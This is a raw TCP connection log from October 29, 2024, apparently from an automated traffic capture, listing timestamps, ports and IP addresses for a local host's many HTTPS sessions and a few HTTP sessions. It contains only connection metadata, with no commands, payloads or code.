Oct 29, 2024 13:08:40.055820942 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.055856943 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.055901051 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.055917025 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.055938005 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.055951118 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.055994034 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.056287050 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.056323051 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.056348085 CET	60489	443	192.168.2.5	52.149.20.212
Oct 29, 2024 13:08:40.056361914 CET	443	60489	52.149.20.212	192.168.2.5
Oct 29, 2024 13:08:40.057846069 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.057915926 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.059494019 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.059534073 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.059549093 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.059561014 CET	60493	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.059566021 CET	443	60493	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.062027931 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.062063932 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.062124968 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.062287092 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.062298059 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.296717882 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:40.302098036 CET	80	60499	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:40.302267075 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:40.302423954 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:40.307812929 CET	80	60499	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:40.513318062 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.513978004 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.513999939 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.514822006 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.514827967 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.522773981 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.523329973 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.523350954 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.523816109 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.523819923 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.632901907 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.633604050 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.633635998 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.634337902 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.634344101 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.644769907 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.644839048 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.644952059 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.645360947 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.645385981 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.645400047 CET	60494	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.645411015 CET	443	60494	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.649760008 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.649791956 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.649878025 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.650000095 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.650008917 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.652445078 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.652617931 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.652820110 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.652853012 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.652859926 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.652880907 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.652987003 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.652997971 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.653007984 CET	60495	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.653012991 CET	443	60495	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.653285027 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.653289080 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.655524969 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.655558109 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.655639887 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.655874968 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.655889034 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.762929916 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.762978077 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.763025045 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.763041973 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.763079882 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.769556046 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.769588947 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.769608021 CET	60496	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.769615889 CET	443	60496	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.773746967 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.773781061 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.774964094 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.775273085 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.775285959 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.790937901 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.791006088 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.791259050 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.791333914 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.791335106 CET	60497	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.791347027 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.791353941 CET	443	60497	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.794239998 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.794284105 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.794539928 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.794687986 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.794701099 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.804680109 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.805080891 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.805100918 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.805556059 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.805562019 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.937102079 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.937186003 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.937437057 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.937565088 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.937587023 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.937602997 CET	60498	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.937609911 CET	443	60498	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.941237926 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.941282988 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:40.941385031 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.941577911 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:40.941595078 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.224806070 CET	80	60499	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:41.224822998 CET	80	60499	64.233.166.82	192.168.2.5
Oct 29, 2024 13:08:41.224881887 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:41.225326061 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:41.225351095 CET	60499	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:08:41.384346962 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.384900093 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.384927034 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.385404110 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.385410070 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.386929035 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.387260914 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.387278080 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.387649059 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.387653112 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.501864910 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.502403021 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.502414942 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.502899885 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.502903938 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513580084 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513643980 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513694048 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.513710022 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513757944 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513910055 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.513931036 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513942003 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.513951063 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.513957977 CET	60501	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.513961077 CET	443	60501	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.517116070 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.517179966 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.517266035 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.517307997 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.517435074 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.517453909 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.517697096 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.517704964 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.518152952 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.518157005 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.520771027 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.520883083 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.524897099 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.524926901 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.524938107 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.524955988 CET	60500	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.524960041 CET	443	60500	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.527070999 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.527151108 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.527245045 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.527442932 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.527476072 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.631860018 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.632364035 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.632417917 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.632441044 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.632451057 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.632461071 CET	60502	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.632464886 CET	443	60502	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.634588003 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.634644032 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.634718895 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.634845972 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.634877920 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.644805908 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.644870996 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.644917965 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.645001888 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.645015001 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.645025015 CET	60503	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.645028114 CET	443	60503	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.648261070 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.648302078 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.648611069 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.648782015 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.648797989 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.680315018 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.680684090 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.680743933 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.681101084 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.681113005 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.810163021 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.810328960 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.810396910 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.810630083 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.810662031 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.810705900 CET	60504	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.810719967 CET	443	60504	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.813158989 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.813199997 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:41.813556910 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.813703060 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:41.813714981 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.267124891 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.267654896 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.267715931 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.268079042 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.268093109 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.268510103 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.268883944 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.268922091 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.269215107 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.269229889 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.392517090 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.393146992 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.393201113 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.393753052 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.393765926 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.395014048 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.395112991 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.395225048 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.395297050 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.395297050 CET	60506	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.395360947 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.395386934 CET	443	60506	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398031950 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398386002 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398469925 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.398500919 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398576975 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398622036 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.398633957 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.398674965 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398682117 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.398711920 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398739100 CET	60505	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.398753881 CET	443	60505	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.398794889 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.399024010 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.399051905 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.400624990 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.400713921 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.400810003 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.400926113 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.400950909 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.411674976 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.412029982 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.412080050 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.412390947 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.412405014 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.505671978 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:42.511128902 CET	80	60512	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:42.511214972 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:42.511394024 CET	60512	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:08:42.516750097 CET	80	60512	108.177.15.82	192.168.2.5
Oct 29, 2024 13:08:42.529370070 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.529752970 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.529871941 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.529917955 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.529917955 CET	60508	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.529946089 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.529968023 CET	443	60508	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.532602072 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.532624006 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.532707930 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.532850027 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.532857895 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.557109118 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.557183027 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.557284117 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.557333946 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.557333946 CET	60507	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.557365894 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.557389021 CET	443	60507	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.559154034 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.559190989 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.559226036 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.559305906 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.559403896 CET	60514	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.559437037 CET	443	60514	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.559792995 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.559812069 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.560007095 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.560012102 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.688328028 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.688419104 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.688520908 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.688536882 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.688570976 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.688612938 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.688631058 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.688641071 CET	60509	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.688647032 CET	443	60509	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.690737009 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.690767050 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:42.690964937 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.691072941 CET	60515	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:42.691087961 CET	443	60515	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.145433903 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.145898104 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.145946026 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.146569967 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.146583080 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.187617064 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.188090086 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.188122988 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.188524961 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.188530922 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.274866104 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.275239944 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.275249958 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.275583029 CET	60513	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.275588036 CET	443	60513	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.280119896 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.280347109 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.280416012 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.280464888 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.280503035 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.280529022 CET	60510	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.280544996 CET	443	60510	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.283073902 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.283107042 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.283252001 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.283360004 CET	60516	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.283368111 CET	443	60516	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.322977066 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.323098898 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.323198080 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.323266983 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.323348999 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.323363066 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.323376894 CET	60511	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:43.323381901 CET	443	60511	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:43.325234890 CET	60517	443	192.168.2.5	13.107.246.45
